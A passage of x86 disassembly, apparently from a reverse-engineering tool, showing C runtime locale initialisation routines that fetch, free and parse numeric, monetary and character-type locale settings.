mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 2Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 30h
push edx
push 2Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 34h
push edx
push 2Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 30h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 38h
push edx
push 44h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 3Ch
push edx
push 45h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
push 46h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 44h
push edx
push 47h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 48h
push edx
push 48h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 4Ch
push edx
push 49h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 50h
push edx
push 4Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 54h
push edx
push 4Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 58h
push edx
push 4Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 5Ch
push edx
push 4Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 60h
push edx
push 4Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 64h
push edx
push 4Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 68h
push edx
push 38h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 6Ch
push edx
push 39h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 70h
push edx
push 3Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 74h
push edx
push 3Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 78h
push edx
push 3Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 7Ch
push edx
push 3Dh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
push 3Eh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 84h
push edx
push 3Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 88h
push edx
push 40h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
push 41h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 90h
push edx
push 42h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 94h
push edx
push 43h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 98h
push edx
push 28h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 9Ch
push edx
push 29h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A0h
push edx
push 1Fh
mov eax, [ebp+var_8]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A4h
push edx
push 20h
mov eax, [ebp+var_8]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0A8h
push edx
push 1003h
mov eax, [ebp+var_8]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
loc_430E0B: ; CODE XREF: sub_430880+2Dj
mov esp, ebp
pop ebp
retn
sub_430880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430E10 proc near ; CODE XREF: sub_4307A0+50p
; sub_4307A0+7Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_430E1E
jmp loc_431119
; ---------------------------------------------------------------------------
loc_430E1E: ; CODE XREF: sub_430E10+7j
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+38h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+40h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+44h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+48h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+4Ch]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+50h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+54h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+58h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+5Ch]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+68h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+74h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+78h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+7Ch]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+80h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+84h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+88h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+8Ch]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+90h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+94h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+98h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+9Ch]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+0A0h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0A4h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+0A8h]
push ecx
call sub_41B8F0
add esp, 8
loc_431119: ; CODE XREF: sub_430E10+9j
pop ebp
retn
sub_430E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431120 proc near ; DATA XREF: seg002:00450568o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, ds:word_4EECB6
mov [ebp+var_4], eax
cmp ds:dword_4EEA78, 0
jz loc_43129A
push offset dword_4EEC84
push 0Eh
mov ecx, [ebp+var_4]
push ecx
push 1
call sub_435830
add esp, 10h
mov edx, [ebp+var_8]
or edx, eax
mov [ebp+var_8], edx
push offset dword_4EEC88
push 0Fh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
push offset dword_4EEC8C
push 10h
mov edx, [ebp+var_4]
push edx
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, ds:dword_4EEC8C
push edx
call sub_4313D0
add esp, 4
cmp [ebp+var_8], 0
jz short loc_431209
push 2
mov eax, ds:dword_4EEC84
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, ds:dword_4EEC88
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, ds:dword_4EEC8C
push edx
call sub_41B8F0
add esp, 8
mov ds:dword_4EEC84, 0
mov ds:dword_4EEC88, 0
mov ds:dword_4EEC8C, 0
or eax, 0FFFFFFFFh
jmp loc_4313C2
; ---------------------------------------------------------------------------
loc_431209: ; CODE XREF: sub_431120+8Fj
mov eax, ds:off_451048
cmp dword ptr [eax], offset dword_451010
jz short loc_431250
push 2
mov ecx, ds:off_451048
mov edx, [ecx]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, ds:off_451048
mov ecx, [eax+4]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, ds:off_451048
mov eax, [edx+8]
push eax
call sub_41B8F0
add esp, 8
loc_431250: ; CODE XREF: sub_431120+F4j
mov ecx, ds:off_451048
mov edx, ds:dword_4EEC84
mov [ecx], edx
mov eax, ds:off_451048
mov ecx, ds:dword_4EEC88
mov [eax+4], ecx
mov edx, ds:off_451048
mov eax, ds:dword_4EEC8C
mov [edx+8], eax
mov ecx, ds:off_451048
mov edx, [ecx]
mov al, [edx]
mov ds:byte_44FD24, al
mov ds:dword_44FD28, 1
xor eax, eax
jmp loc_4313C2
; ---------------------------------------------------------------------------
loc_43129A: ; CODE XREF: sub_431120+1Fj
push 2
mov ecx, ds:dword_4EEC84
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, ds:dword_4EEC88
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, ds:dword_4EEC8C
push eax
call sub_41B8F0
add esp, 8
mov ds:dword_4EEC84, 0
mov ds:dword_4EEC88, 0
mov ds:dword_4EEC8C, 0
push 88h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_41AE60
add esp, 10h
mov ecx, ds:off_451048
mov [ecx], eax
mov edx, ds:off_451048
cmp dword ptr [edx], 0
jnz short loc_43131B
or eax, 0FFFFFFFFh
jmp loc_4313C2
; ---------------------------------------------------------------------------
loc_43131B: ; CODE XREF: sub_431120+1F1j
push offset a__2 ; "."
mov eax, ds:off_451048
mov ecx, [eax]
push ecx
call sub_41E550
add esp, 8
push 8Dh
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_41AE60
add esp, 10h
mov edx, ds:off_451048
mov [edx+4], eax
mov eax, ds:off_451048
cmp dword ptr [eax+4], 0
jnz short loc_43135F
or eax, 0FFFFFFFFh
jmp short loc_4313C2
; ---------------------------------------------------------------------------
loc_43135F: ; CODE XREF: sub_431120+238j
mov ecx, ds:off_451048
mov edx, [ecx+4]
mov byte ptr [edx], 0
push 92h
push offset aInitnum_c ; "initnum.c"
push 2
push 2
call sub_41AE60
add esp, 10h
mov ecx, ds:off_451048
mov [ecx+8], eax
mov edx, ds:off_451048
cmp dword ptr [edx+8], 0
jnz short loc_43139B
or eax, 0FFFFFFFFh
jmp short loc_4313C2
; ---------------------------------------------------------------------------
loc_43139B: ; CODE XREF: sub_431120+274j
mov eax, ds:off_451048
mov ecx, [eax+8]
mov byte ptr [ecx], 0
mov edx, ds:off_451048
mov eax, [edx]
mov cl, [eax]
mov ds:byte_44FD24, cl
mov ds:dword_44FD28, 1
xor eax, eax
loc_4313C2: ; CODE XREF: sub_431120+E4j
; sub_431120+175j ...
mov esp, ebp
pop ebp
retn
sub_431120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4313D0 proc near ; CODE XREF: sub_431120+83p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_4313D4: ; CODE XREF: sub_4313D0:loc_431447j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_431449
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_43140D
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_43140D
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_431447
; ---------------------------------------------------------------------------
loc_43140D: ; CODE XREF: sub_4313D0+17j
; sub_4313D0+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_43143E
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_43141E: ; CODE XREF: sub_4313D0+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_43141E
jmp short loc_431447
; ---------------------------------------------------------------------------
loc_43143E: ; CODE XREF: sub_4313D0+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_431447: ; CODE XREF: sub_4313D0+3Bj
; sub_4313D0+6Cj
jmp short loc_4313D4
; ---------------------------------------------------------------------------
loc_431449: ; CODE XREF: sub_4313D0+Cj
mov esp, ebp
pop ebp
retn
sub_4313D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431450 proc near ; DATA XREF: seg002:0045055Co
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EEA74, 0
jz loc_43151C
push 4Ah
push offset aInitmon_c ; "initmon.c"
push 2
push 30h
push 1
call sub_41B270
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_431489
mov eax, 1
jmp loc_43157C
; ---------------------------------------------------------------------------
loc_431489: ; CODE XREF: sub_431450+2Dj
mov eax, [ebp+var_4]
push eax
call sub_431580
add esp, 4
test eax, eax
jz short loc_4314BD
mov ecx, [ebp+var_4]
push ecx
call sub_431810
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_41B8F0
add esp, 8
mov eax, 1
jmp loc_43157C
; ---------------------------------------------------------------------------
loc_4314BD: ; CODE XREF: sub_431450+47j
mov eax, [ebp+var_4]
mov ecx, ds:off_451048
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_4]
mov ecx, ds:off_451048
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov ecx, ds:off_451048
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_4]
mov ds:off_451048, eax
mov ecx, ds:dword_4EEC90
push ecx
call sub_431810
add esp, 4
push 2
mov edx, ds:dword_4EEC90
push edx
call sub_41B8F0
add esp, 8
mov eax, [ebp+var_4]
mov ds:dword_4EEC90, eax
xor eax, eax
jmp short loc_43157C
; ---------------------------------------------------------------------------
loc_43151C: ; CODE XREF: sub_431450+Bj
mov ecx, ds:off_451048
mov edx, [ecx]
mov ds:off_451018, edx
mov eax, ds:off_451048
mov ecx, [eax+4]
mov ds:off_45101C, ecx
mov edx, ds:off_451048
mov eax, [edx+8]
mov ds:off_451020, eax
mov ds:off_451048, offset off_451018
mov ecx, ds:dword_4EEC90
push ecx
call sub_431810
add esp, 4
push 2
mov edx, ds:dword_4EEC90
push edx
call sub_41B8F0
add esp, 8
mov ds:dword_4EEC90, 0
xor eax, eax
loc_43157C: ; CODE XREF: sub_431450+34j
; sub_431450+68j ...
mov esp, ebp
pop ebp
retn
sub_431450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431580 proc near ; CODE XREF: sub_431450+3Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
xor eax, eax
mov ax, ds:word_4EECB0
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0
jnz short loc_4315A6
or eax, 0FFFFFFFFh
jmp loc_431789
; ---------------------------------------------------------------------------
loc_4315A6: ; CODE XREF: sub_431580+1Cj
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
push 15h
mov edx, [ebp+var_4]
push edx
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 14h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 16h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 17h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx
push 18h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
push eax
call sub_431790
add esp, 4
mov ecx, [ebp+arg_0]
add ecx, 20h
push ecx
push 50h
mov edx, [ebp+var_4]
push edx
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 51h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 1Ah
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 29h
push edx
push 19h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ah
push edx
push 54h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Bh
push edx
push 55h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Ch
push edx
push 56h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Dh
push edx
push 57h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Eh
push edx
push 52h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
add edx, 2Fh
push edx
push 53h
mov eax, [ebp+var_4]
push eax
push 0
call sub_435830
add esp, 10h
mov ecx, [ebp+var_8]
or ecx, eax
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
loc_431789: ; CODE XREF: sub_431580+21j
mov esp, ebp
pop ebp
retn
sub_431580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431790 proc near ; CODE XREF: sub_431580+C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_431794: ; CODE XREF: sub_431790:loc_431807j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_431809
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_4317CD
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_4317CD
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
sub ecx, 30h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_431807
; ---------------------------------------------------------------------------
loc_4317CD: ; CODE XREF: sub_431790+17j
; sub_431790+22j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_4317FE
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4317DE: ; CODE XREF: sub_431790+6Aj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_4317DE
jmp short loc_431807
; ---------------------------------------------------------------------------
loc_4317FE: ; CODE XREF: sub_431790+46j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_431807: ; CODE XREF: sub_431790+3Bj
; sub_431790+6Cj
jmp short loc_431794
; ---------------------------------------------------------------------------
loc_431809: ; CODE XREF: sub_431790+Cj
mov esp, ebp
pop ebp
retn
sub_431790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431810 proc near ; CODE XREF: sub_431450+4Dp
; sub_431450+A7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_43181E
jmp loc_4318A1
; ---------------------------------------------------------------------------
loc_43181E: ; CODE XREF: sub_431810+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], offset dword_4EECF0
jz short loc_4318A1
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+18h]
push edx
call sub_41B8F0
add esp, 8
push 2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
call sub_41B8F0
add esp, 8
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
push eax
call sub_41B8F0
add esp, 8
push 2
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
call sub_41B8F0
add esp, 8
loc_4318A1: ; CODE XREF: sub_431810+9j
; sub_431810+18j
pop ebp
retn
sub_431810 endp
; ---------------------------------------------------------------------------
align 10h
loc_4318B0: ; DATA XREF: seg002:00450550o
push ebp
mov ebp, esp
sub esp, 30h
mov dword ptr [ebp-2Ch], 0
mov dword ptr [ebp-28h], 0
cmp ds:dword_4EEA70, 0
jz loc_431C01
cmp ds:dword_4EEA80, 0
jnz short loc_431900
push offset dword_4EEA80
push 1004h
xor eax, eax
mov ax, ds:word_4EECA8
push eax
push 0
call sub_435830
add esp, 10h
test eax, eax
jz short loc_431900
jmp loc_431BC2
; ---------------------------------------------------------------------------
loc_431900: ; CODE XREF: seg000:004318D8j
; seg000:004318F9j
push 5Ch
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_41AE60
add esp, 10h
mov [ebp-30h], eax
push 5Eh
push offset aInitctyp_c ; "initctyp.c"
push 2
push 202h
call sub_41AE60
add esp, 10h
mov [ebp-1Ch], eax
push 60h
push offset aInitctyp_c ; "initctyp.c"
